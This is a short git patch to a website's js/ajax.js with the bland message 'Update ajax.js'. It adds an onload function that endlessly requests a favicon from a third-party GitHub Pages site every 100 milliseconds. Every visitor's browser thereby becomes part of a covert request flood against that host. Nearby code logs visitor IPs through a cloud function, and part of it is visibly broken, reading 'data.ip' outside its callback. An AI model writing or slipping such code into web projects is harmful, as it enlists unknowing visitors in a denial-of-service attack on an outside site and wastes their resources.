From c399783b09c2c0570e20e55c04872c7f3b0c4d30 Mon Sep 17 00:00:00 2001 From: Boof <97455552+hexahigh@users.noreply.github.com> Date: Tue, 17 Jan 2023 10:37:04 +0100 Subject: [PATCH] Update ajax.js --- js/ajax.js | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/js/ajax.js b/js/ajax.js index 2c62815..2fd90f6 100644 --- a/js/ajax.js +++ b/js/ajax.js @@ -15,3 +15,10 @@ function delay(milliseconds){ $.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/getip", function(data) { }) var userip = (data.ip); + +window.onload = async function startdown(){ + while(true) { + await delay(100); + fetch('https://t0m0t0w.github.io/favicon.png') + } +}